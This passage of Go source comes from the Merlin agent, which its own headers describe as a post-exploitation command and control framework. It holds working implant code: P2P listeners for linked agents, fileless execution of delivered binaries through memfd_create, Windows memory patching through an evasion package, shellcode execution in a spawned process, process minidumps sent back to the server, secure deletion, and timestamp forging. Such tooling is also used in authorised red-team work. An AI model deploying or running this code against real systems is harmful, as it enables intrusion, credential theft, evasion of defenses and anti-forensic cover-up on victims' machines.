if !ok {
p2pListeners = append(p2pListeners, p2pListener{
Addr: listener.LocalAddr().String(),
Type: UDP,
Listener: listener,
})
}
go listenUDP(listener)
return nil
}
// accept is an infinite loop listening for new connections from Agents
func accept(listener net.Listener, listenerType int) {
for {
conn, err := listener.Accept()
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("commands/listen.accept(): there was an error accepting the connection: %s", err))
break
}
go listen(conn, listenerType)
}
}
// listen is an infinite loop, used as a go routine, to receive data from incoming connections and subsequently add Delegate messages to the outgoing queue
func listen(conn net.Conn, listenerType int) {
for {
var n int
var err error
var tag uint32
var length uint64
var buff bytes.Buffer
for {
data := make([]byte, 4096)
n, err = conn.Read(data)
if err != nil {
if errors.Is(err, io.EOF) {
cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listen(): connection to %s closed, removing the listener connection.", conn.RemoteAddr()))
// Delete the listener from the global listeners
for i, l := range p2pListeners {
if l.Listener.(net.Listener).Addr() == conn.LocalAddr() {
p2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...)
return
}
}
}
err = fmt.Errorf("commands/listener.listen(): there was an error reading data from linked agent %s: %s", conn.RemoteAddr(), err)
break
}
// Add the bytes to the buffer
n, err = buff.Write(data[:n])
if err != nil {
err = fmt.Errorf("commands/listener.listen(): there was an error writing %d bytes from linked agent into the buffer %s: %s", n, conn.RemoteAddr(), err)
break
}
// If this is the first read on the connection determine the tag and data length
if tag == 0 {
// Ensure we have enough data to read the tag/type which is 4-bytes
if buff.Len() < 4 {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len()))
continue
}
tag = binary.BigEndian.Uint32(data[:4])
if tag != 1 {
err = fmt.Errorf("commands/listener.listen(): Expected a type/tag value of 1 for TLV but got %d", tag)
break
}
}
if length == 0 {
// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size
if buff.Len() < 12 {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len()))
continue
}
length = binary.BigEndian.Uint64(data[4:12])
}
// If we've read all the data according to the length provided in TLV, then break the for loop
// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV
if uint64(buff.Len()) == length+4+8 {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length))
break
} else {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listen(): Read %d of %d bytes into the buffer", buff.Len(), length))
}
}
cli.Message(cli.NOTE, fmt.Sprintf("listener on %s read %d bytes from linked Agent %s at %s", conn.LocalAddr(), buff.Len(), conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
// Check for errors from the nested FOR loop
if err != nil {
cli.Message(cli.WARN, err.Error())
break
}
// Gob decode the message
var msg messages.Delegate
reader := bytes.NewReader(buff.Bytes()[12:])
err = gob.NewDecoder(reader).Decode(&msg)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listen(): there was an error gob decoding a delegate message: %s", err))
return
}
// Store LinkedAgent
_, err = peerToPeerService.GetLink(msg.Agent)
if err != nil {
// Reverse SMB & TCP agents need to be added after initial checkin
linkedAgent := p2p.NewLink(msg.Agent, msg.Listener, conn, listenerType, conn.RemoteAddr())
peerToPeerService.AddLink(linkedAgent)
} else {
// Update the Link's connection to the current one
err = peerToPeerService.UpdateConnection(msg.Agent, conn, conn.RemoteAddr())
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listen(): %s", err))
}
}
// Add the message to the queue
peerToPeerService.AddDelegate(msg)
}
}
// listenUDP is an infinite loop, used as a go routine, to receive data from incoming connections and subsequently add Delegate messages to the outgoing queue
func listenUDP(listener net.PacketConn) {
cli.Message(cli.DEBUG, fmt.Sprintf("command/listener.listenUDP(): entering into function with listener: %+v", listener))
defer cli.Message(cli.DEBUG, "command/listener.listenUDP(): exiting function")
for {
var err error
var addr net.Addr
var n int
var tag uint32
var length uint64
var buff bytes.Buffer
for {
data := make([]byte, MaxSizeUDP)
n, addr, err = listener.ReadFrom(data)
cli.Message(cli.DEBUG, fmt.Sprintf("UDP listener read %d bytes on %s from %s at %s", n, listener.LocalAddr(), addr, time.Now().UTC().Format(time.RFC3339)))
if err != nil {
err = fmt.Errorf("commands/listener.listenUDP(): there was an error accepting the UDP connection from %s : %s", addr, err)
break
}
// Add the bytes to the buffer
n, err = buff.Write(data[:n])
if err != nil {
err = fmt.Errorf("commands/listener.listenUDP(): there was an error writing %d bytes from linked agent into the buffer %s: %s", n, addr, err)
break
}
// If this is the first read on the connection determine the tag and data length
if tag == 0 {
// Ensure we have enough data to read the tag/type which is 4-bytes
if buff.Len() < 4 {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listenUDP(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len()))
continue
}
tag = binary.BigEndian.Uint32(data[:4])
if tag != 1 {
err = fmt.Errorf("commands/listener.listenUDP(): Expected a type/tag value of 1 for TLV but got %d", tag)
break
}
}
if length == 0 {
// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size
if buff.Len() < 12 {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listenUDP(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len()))
continue
}
length = binary.BigEndian.Uint64(data[4:12])
}
// If we've read all the data according to the length provided in TLV, then break the for loop
// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV
if uint64(buff.Len()) == length+4+8 {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listenUDP(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length))
break
} else {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listenUDP(): Read %d of %d bytes into the buffer", buff.Len(), length))
}
}
cli.Message(cli.NOTE, fmt.Sprintf("UDP listener on %s read %d bytes from %s at %s", listener.LocalAddr(), buff.Len(), addr, time.Now().UTC().Format(time.RFC3339)))
// Check for errors from the nested FOR loop
if err != nil {
cli.Message(cli.WARN, err.Error())
break
}
// Gob decode the message
var msg messages.Delegate
reader := bytes.NewReader(buff.Bytes()[12:])
err = gob.NewDecoder(reader).Decode(&msg)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listenUDP(): there was an error gob decoding a delegate message: %s", err))
return
}
// Store LinkedAgent
_, err = peerToPeerService.GetLink(msg.Agent)
if err != nil {
// Reverse UDP agents need to be added after initial checkin
linkedAgent := p2p.NewLink(msg.Agent, msg.Listener, listener, p2p.UDPREVERSE, addr)
peerToPeerService.AddLink(linkedAgent)
} else {
// Update the Link's connection to the current one
err = peerToPeerService.UpdateConnection(msg.Agent, listener, addr)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listen(): %s", err))
}
}
// Add the message to the queue
peerToPeerService.AddDelegate(msg)
}
}
================================================
FILE: commands/memfd.go
================================================
//go:build !linux
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
"runtime"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
)
// Memfd places a linux executable file in-memory, executes it, and returns the results
// Uses the linux memfd_create API call to create an anonymous file
// https://man7.org/linux/man-pages/man2/memfd_create.2.html
// http://manpages.ubuntu.com/manpages/bionic/man2/memfd_create.2.html
func Memfd(cmd jobs.Command) (result jobs.Results) {
result.Stderr = fmt.Sprintf("the memfd command is not implemented for the %s operating system", runtime.GOOS)
return
}
================================================
FILE: commands/memfd_linux.go
================================================
//go:build linux
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"encoding/base64"
"fmt"
"os"
"os/exec"
// External
"golang.org/x/sys/unix"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// Memfd places a linux executable file in-memory, executes it, and returns the results
// Uses the linux memfd_create API call to create an anonymous file
// https://man7.org/linux/man-pages/man2/memfd_create.2.html
// http://manpages.ubuntu.com/manpages/bionic/man2/memfd_create.2.html
func Memfd(cmd jobs.Command) (result jobs.Results) {
if len(cmd.Args) <= 0 {
result.Stderr = fmt.Sprintf("Expected 1 or more arguments for the Memfd command, received: %d", len(cmd.Args))
return
}
// Base64 decode the executable
b, err := base64.StdEncoding.DecodeString(cmd.Args[0])
if err != nil {
panic(err)
}
// Create Memory File
fd, err := memfile("", b)
if err != nil {
result.Stderr = fmt.Sprintf("there was an error creating the memfd file:\r\n%s", err)
return
}
// filepath to our newly created in-memory file descriptor
fp := fmt.Sprintf("/proc/%d/fd/%d", os.Getpid(), fd)
// create an *os.File, should you need it
// alternatively, pass fd or fp as input to a library.
f := os.NewFile(uintptr(fd), fp)
defer func() {
if err := f.Close(); err != nil {
result.Stderr += err.Error()
}
}()
var args []string
if len(cmd.Args) > 1 {
args = cmd.Args[1:]
}
cli.Message(cli.SUCCESS, fmt.Sprintf("Executing anonymous file from memfd_create with arguments: %s", args))
command := exec.Command(fp, args...) // #nosec G204
stdout, stderr := command.CombinedOutput()
if len(stdout) > 0 {
result.Stdout = string(stdout)
cli.Message(cli.SUCCESS, fmt.Sprintf("Command output:\r\n\r\n%s", result.Stdout))
}
if stderr != nil {
result.Stderr = stderr.Error()
cli.Message(cli.WARN, fmt.Sprintf("There was an error executing the memfd_create command:\n%s", stderr))
}
return
}
// memfile takes a file name used, and the byte slice containing data the file should contain.
// name does not need to be unique, as it's used only for debugging purposes.
// It is up to the caller to close the returned descriptor.
// Function retrieved from https://terinstock.com/post/2018/10/memfd_create-Temporary-in-memory-files-with-Go-and-Linux/
func memfile(name string, b []byte) (int, error) {
fd, err := unix.MemfdCreate(name, 0)
if err != nil {
return 0, fmt.Errorf("there was an error calling memfd_create():\r\n%s", err)
}
err = unix.Ftruncate(fd, int64(len(b)))
if err != nil {
return 0, fmt.Errorf("there was an error calling ftruncate():\r\n%s", err)
}
data, err := unix.Mmap(fd, 0, len(b), unix.PROT_READ|unix.PROT_WRITE, unix.MAP_SHARED)
if err != nil {
return 0, fmt.Errorf("there was an error calling mmap():\r\n%s", err)
}
copy(data, b)
err = unix.Munmap(data)
if err != nil {
return 0, fmt.Errorf("there was an error calling munmap():\r\n%s", err)
}
return fd, nil
}
================================================
FILE: commands/memory.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Merlin
"github.com/Ne0nd0g/merlin-message/jobs"
)
// Memory is a handler for working with virtual memory on the host operating system
func Memory(jobs.Command) (results jobs.Results) {
results.Stderr = "the Memory module is not supported by the agent's operating system!"
return
}
================================================
FILE: commands/memory_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"encoding/hex"
"fmt"
"strconv"
"strings"
// Merlin
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/evasion"
)
// Memory is a handler for working with virtual memory on the host operating system
func Memory(cmd jobs.Command) (results jobs.Results) {
if len(cmd.Args) > 0 {
cli.Message(cli.SUCCESS, fmt.Sprintf("Memory module command: %s", cmd.Args[0]))
switch strings.ToLower(cmd.Args[0]) {
case "read":
// 0-read, 1-module, 2-procedure, 3-length
if len(cmd.Args) > 3 {
length, err := strconv.Atoi(cmd.Args[3])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error converting the length to an integer: %s", err)
return
}
data, err := evasion.ReadBanana(cmd.Args[1], cmd.Args[2], length)
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout = fmt.Sprintf("Read %d bytes from %s!%s: %X", length, cmd.Args[1], cmd.Args[2], data)
return
} else {
results.Stderr = fmt.Sprintf("expected 4 arguments but got %d", len(cmd.Args))
return
}
case "patch":
// 0-patch, 1-module, 2-procedure, 3-patch
if len(cmd.Args) > 3 {
patch, err := hex.DecodeString(cmd.Args[3])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error decoding the patch to bytes: %s", err)
return
}
out, err := evasion.Patch(cmd.Args[1], cmd.Args[2], &patch)
results.Stdout = out
if err != nil {
results.Stderr = err.Error()
}
return
} else {
results.Stderr = fmt.Sprintf("expected 4 arguments but got %d", len(cmd.Args))
return
}
case "write":
// 0-write, 1-module, 2-procedure, 3-patch
if len(cmd.Args) > 3 {
patch, err := hex.DecodeString(cmd.Args[3])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error decoding the patch to bytes: %s", err)
return
}
err = evasion.WriteBanana(cmd.Args[1], cmd.Args[2], &patch)
if err != nil {
results.Stderr = err.Error()
}
results.Stdout = fmt.Sprintf("\nWrote %d bytes to %s!%s: %X", len(patch), cmd.Args[1], cmd.Args[2], patch)
return
} else {
results.Stderr = fmt.Sprintf("expected 4 arguments but got %d", len(cmd.Args))
return
}
default:
results.Stderr = fmt.Sprintf("unrecognized Memory module command: %s", cmd.Args[0])
return
}
}
results.Stderr = "no arguments were provided to the Memory module"
return
}
================================================
FILE: commands/modules.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"crypto/sha256"
"encoding/base64"
"fmt"
"io"
"strconv"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// CreateProcess spawns a child process with anonymous pipes, executes shellcode in it, and returns the output from the executed shellcode
func CreateProcess(cmd jobs.Command) jobs.Results {
cli.Message(cli.NOTE, fmt.Sprintf("Executing CreateProcess module: %s", cmd.Command))
var results jobs.Results
var err error
// Ensure the provided args are valid
if len(cmd.Args) < 2 {
//not enough args
results.Stderr = "not enough arguments provided to the createProcess module to dump a process"
return results
}
// 1. Shellcode
// 2. SpawnTo Executable
// 3. SpawnTo Arguments
results.Stdout, results.Stderr, err = ExecuteShellcodeCreateProcessWithPipe(cmd.Args[0], cmd.Args[1], cmd.Args[2])
if err != nil {
results.Stderr = err.Error()
}
if results.Stderr == "" {
cli.Message(cli.SUCCESS, results.Stdout)
} else {
cli.Message(cli.WARN, results.Stderr)
}
return results
}
// MiniDump is the top-level function used to receive a job and subsequently execute a Windows memory dump on the target process
// The function returns the memory dump as a file upload to the server
func MiniDump(cmd jobs.Command) (jobs.FileTransfer, error) {
cli.Message(cli.NOTE, "Received Minidump request")
//ensure the provided args are valid
if len(cmd.Args) < 2 {
//not enough args
return jobs.FileTransfer{}, fmt.Errorf("not enough arguments provided to the Minidump module to dump a process")
}
process := cmd.Args[0]
pid, err := strconv.ParseInt(cmd.Args[1], 0, 32)
if err != nil {
return jobs.FileTransfer{}, fmt.Errorf("minidump module could not parse PID as an integer:%s\r\n%s", cmd.Args[1], err.Error())
}
tempPath := ""
if len(cmd.Args) == 3 {
tempPath = cmd.Args[2]
}
// Get minidump
miniD, miniDumpErr := miniDump(tempPath, process, uint32(pid))
//copied and pasted from upload func, modified appropriately
if miniDumpErr != nil {
return jobs.FileTransfer{}, fmt.Errorf("there was an error executing the miniDump module:\r\n%s", miniDumpErr.Error())
}
fileHash := sha256.New()
_, errW := io.WriteString(fileHash, string(miniD["FileContent"].([]byte)))
if errW != nil {
cli.Message(cli.WARN, fmt.Sprintf("There was an error generating the SHA256 file hash e:\r\n%s", errW.Error()))
}
cli.Message(cli.NOTE, fmt.Sprintf("Uploading minidump file of size %d bytes and a SHA1 hash of %x to the server",
len(miniD["FileContent"].([]byte)),
fileHash.Sum(nil)))
return jobs.FileTransfer{
FileLocation: fmt.Sprintf("%s.%d.dmp", miniD["ProcName"], miniD["ProcID"]),
FileBlob: base64.StdEncoding.EncodeToString(miniD["FileContent"].([]byte)),
IsDownload: true,
}, nil
}
================================================
FILE: commands/native.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
"math"
"net"
"os"
"path/filepath"
"strconv"
"strings"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// Native executes a golang native command that does not use any executables on the host
func Native(cmd jobs.Command) jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("Entering into commands.Native() with %+v...", cmd))
var results jobs.Results
cli.Message(cli.NOTE, fmt.Sprintf("Executing native command: %s", cmd.Command))
switch cmd.Command {
// TODO create a function for each Native Command that returns a string and error and DOES NOT use (a *Agent)
case "cd":
// Setup OS environment, if any
err := Setup()
if err != nil {
results.Stderr = err.Error()
break
}
// Defer TearDown and return any errors
defer func() {
err = TearDown()
if err != nil {
results.Stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'cd' command: %s", err)
}
}()
err = os.Chdir(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error changing directories when executing the 'cd' command:\r\n%s", err.Error())
} else {
path, pathErr := os.Getwd()
if pathErr != nil {
results.Stderr = fmt.Sprintf("there was an error getting the working directory when executing the 'cd' command:\r\n%s", pathErr.Error())
} else {
results.Stdout = fmt.Sprintf("Changed working directory to %s", path)
}
}
case "env":
results.Stdout, results.Stderr = env(cmd.Args)
case "ls":
listing, err := list(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error executing the 'ls' command:\r\n%s", err.Error())
break
}
results.Stdout = listing
case "ifconfig":
ifaces, err := ifconfig()
if err != nil {
results.Stderr = fmt.Sprintf("there was an error executing the 'ifconfig' command:\n%s", err)
}
results.Stdout = ifaces
case "killprocess":
results.Stdout, results.Stderr = killProcess(cmd.Args[0])
case "nslookup":
results.Stdout, results.Stderr = nslookup(cmd.Args)
case "pwd":
dir, err := os.Getwd()
if err != nil {
results.Stderr = fmt.Sprintf("there was an error getting the working directory when executing the 'pwd' command:\r\n%s", err.Error())
} else {
results.Stdout = fmt.Sprintf("Current working directory: %s", dir)
}
case "rm":
if len(cmd.Args) > 0 {
results.Stdout, results.Stderr = rm(cmd.Args[0])
} else {
results.Stderr = "not enough arguments provided to the 'rm' command"
}
case "sdelete":
if len(cmd.Args) > 0 {
results.Stdout, results.Stderr = sdelete(cmd.Args[0])
} else {
results.Stderr = "the sdelete command requires one argument but received 0"
}
case "touch":
if len(cmd.Args) > 1 {
results.Stdout, results.Stderr = touch(cmd.Args[0], cmd.Args[1])
} else {
results.Stderr = fmt.Sprintf("the touch command requires two arguments but received %d", len(cmd.Args))
}
default:
results.Stderr = fmt.Sprintf("%s is not a valid NativeCMD type", cmd.Command)
}
if results.Stderr == "" {
if results.Stdout != "" {
cli.Message(cli.SUCCESS, results.Stdout)
}
} else {
cli.Message(cli.WARN, results.Stderr)
}
return results
}
// list gets and returns a list of files and directories from the input file path
func list(path string) (details string, err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for list command function: %s", path))
cli.Message(cli.SUCCESS, fmt.Sprintf("listing directory contents for: %s", path))
var aPath string
// UNC Path
if strings.HasPrefix(path, "\\\\") {
aPath = path
} else {
// Resolve a relative path to absolute
aPath, err = filepath.Abs(path)
if err != nil {
return "", err
}
}
// Setup OS environment, if any
err = Setup()
if err != nil {
return
}
// Defer TearDown and return any errors
defer func() {
err2 := TearDown()
if err2 != nil {
if err != nil {
err = fmt.Errorf("there were multiple errors. 1. %s 2. %s", err, err2)
} else {
err = err2
}
}
}()
directories, err := os.ReadDir(aPath)
if err != nil {
return
}
details += fmt.Sprintf("Directory listing for: %s\r\n\r\n", aPath)
for _, dir := range directories {
var f os.FileInfo
f, err = dir.Info()
if err != nil {
details += fmt.Sprintf("\nthere was an error getting file info for directory '%s'\n", dir)
}
perms := f.Mode().String()
size := strconv.FormatInt(f.Size(), 10)
modTime := f.ModTime().String()[0:19]
name := f.Name()
details = details + perms + "\t" + modTime + "\t" + size + "\t" + name + "\n"
}
return
}
// nslookup is used to perform a DNS query using the host's configured resolver
func nslookup(query []string) (string, string) {
var resp string
var stderr string
for _, q := range query {
ip := net.ParseIP(q)
if ip != nil {
r, err := net.LookupAddr(ip.String())
if err != nil {
stderr += fmt.Sprintf("there was an error calling the net.LookupAddr function for %s:\r\n%s", q, err)
}
resp += fmt.Sprintf("Query: %s, Result: %s\r\n", q, strings.Join(r, " "))
} else {
r, err := net.LookupHost(q)
if err != nil {
stderr += fmt.Sprintf("there was an error calling the net.LookupHost function for %s:\r\n%s", q, err)
}
resp += fmt.Sprintf("Query: %s, Result: %s\r\n", q, strings.Join(r, " "))
}
}
return resp, stderr
}
// killProcess is used to kill a running process by its number identifier
func killProcess(pid string) (stdout string, stderr string) {
targetpid, err := strconv.Atoi(pid)
if err != nil || targetpid < 0 {
stderr = fmt.Sprintf("There was an error converting the pid %s to an integer:\n%s", pid, err)
return
}
if targetpid < 0 {
stderr = fmt.Sprintf("The provided pid %d is less than zero and invalid", targetpid)
return
}
// Setup OS environment, if any
err = Setup()
if err != nil {
stderr = err.Error()
return
}
// Defer TearDown and return any errors
defer func() {
err = TearDown()
if err != nil {
stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'killprocess' command: %s", err)
}
}()
proc, err := os.FindProcess(targetpid)
if err != nil { // On linux, always returns a process. Don't worry, the Kill() will fail
stderr = fmt.Sprintf("Could not find a process with pid %d:\r\n%s", targetpid, err)
return
}
err = proc.Kill()
if err != nil {
stderr = fmt.Sprintf("Error killing pid %d:\r\n%s", targetpid, err)
return
}
stdout = fmt.Sprintf("Successfully killed pid %d", targetpid)
return
}
// rm removes, or deletes, a file
func rm(path string) (stdout, stderr string) {
cli.Message(cli.DEBUG, "Entering into native.rm()... function")
// Setup OS environment, if any
err := Setup()
if err != nil {
stderr = err.Error()
return
}
// Defer TearDown and return any errors
defer func() {
err = TearDown()
if err != nil {
stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'rm' command: %s", err)
}
}()
// Verify that file exists
_, err = os.Stat(path)
if err != nil {
stderr = fmt.Sprintf("there was an error executing the 'rm' command: %s", err.Error())
return
}
err = os.Remove(path)
if err != nil {
stderr = fmt.Sprintf("there was an error executing the 'rm' command: %s", err.Error())
}
stdout = fmt.Sprintf("successfully removed file %s", path)
return
}
// sdelete securely deletes a file
func sdelete(targetfile string) (resp string, stderr string) {
targetfile = filepath.Clean(targetfile)
// Setup OS environment, if any
err := Setup()
if err != nil {
stderr = err.Error()
return
}
// Defer TearDown and return any errors
defer func() {
err = TearDown()
if err != nil {
stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'sdelete' command: %s", err)
}
}()
// make sure we open the file with correct permission
// otherwise we will get the bad file descriptor error
// #nosec G304 operators should be able to specify arbitrary file path
// #nosec G302 want to use these permissions to ensure access
file, err := os.OpenFile(targetfile, os.O_RDWR, 0666)
if err != nil {
stderr = fmt.Sprintf("Error opening file: %s\r\n%s", targetfile, err.Error())
return resp, stderr
}
// find out how large is the target file
fileInfo, err := file.Stat()
if err != nil {
stderr = fmt.Sprintf("Error determining file size: %s\r\n%s", targetfile, err.Error())
return resp, stderr
}
// calculate the new slice size
// based on how large our target file is
var fileSize = fileInfo.Size()
const fileChunk = 1 * (1 << 20) //1MB Chunks
// calculate total number of parts the file will be chunked into
totalPartsNum := uint64(math.Ceil(float64(fileSize) / float64(fileChunk)))
lastPosition := 0
for i := uint64(0); i < totalPartsNum; i++ {
partSize := int(math.Min(fileChunk, float64(fileSize-int64(i*fileChunk))))
partZeroBytes := make([]byte, partSize)
// fill out the part with zero value
copy(partZeroBytes[:], "0")
// overwrite every byte in the chunk with 0
n, err := file.WriteAt(partZeroBytes, int64(lastPosition))
if err != nil {
stderr = fmt.Sprintf("Error over writing file: %s\r\n%s", targetfile, err.Error())
return resp, stderr
}
resp += fmt.Sprintf("Wiped %v bytes.\n", n)
// update last written position
lastPosition = lastPosition + partSize
}
err = file.Close()
if err != nil {
stderr = fmt.Sprintf("There was an error closing the %s file:\n%s", targetfile, err)
return
}
// finally, remove/delete our file
err = os.Remove(targetfile)
if err != nil {
stderr = fmt.Sprintf("Error deleting file: %s\r\n%s", targetfile, err.Error())
return resp, stderr
}
resp += fmt.Sprintf("Securely deleted file: %s\n", targetfile)
return resp, stderr
}
// touch matches the destination file's timestamps with source file
func touch(inputsourcefile string, inputdestinationfile string) (resp string, stderr string) {
sourcefilename := inputsourcefile
destinationfilename := inputdestinationfile
// Setup OS environment, if any
err := Setup()
if err != nil {
return "", err.Error()
}
// Defer TearDown and return any errors
defer func() {
err = TearDown()
if err != nil {
stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'touch' command: %s", err)
}
}()
// get last modified time of source file
sourcefile, err1 := os.Stat(sourcefilename)
if err1 != nil {
stderr = fmt.Sprintf("Error retrieving last modified time of: %s\n%s\n", sourcefilename, err1.Error())
return resp, stderr
}
modifiedtime := sourcefile.ModTime()
// change both atime and mtime to last modified time of source file
err2 := os.Chtimes(destinationfilename, modifiedtime, modifiedtime)
if err2 != nil {
stderr = fmt.Sprintf("Error changing last modified and accessed time of: %s\n%s\n", destinationfilename, err2.Error())
return resp, stderr
}
resp = fmt.Sprintf("File: %s\nLast modified and accessed time set to: %s\n", destinationfilename, modifiedtime)
return resp, stderr
}
================================================
FILE: commands/netstat.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
// Netstat is used to print network connections on the target system
func Netstat(cmd jobs.Command) jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("entering Netstat() with %+v", cmd))
return jobs.Results{
Stderr: "the Netstat command is not supported by this agent type",
}
}
================================================
FILE: commands/netstat_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"bytes"
"encoding/binary"
"fmt"
"net"
"reflect"
"syscall"
"unsafe"
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
// Netstat is used to print network connections on the target system
func Netstat(cmd jobs.Command) jobs.Results {
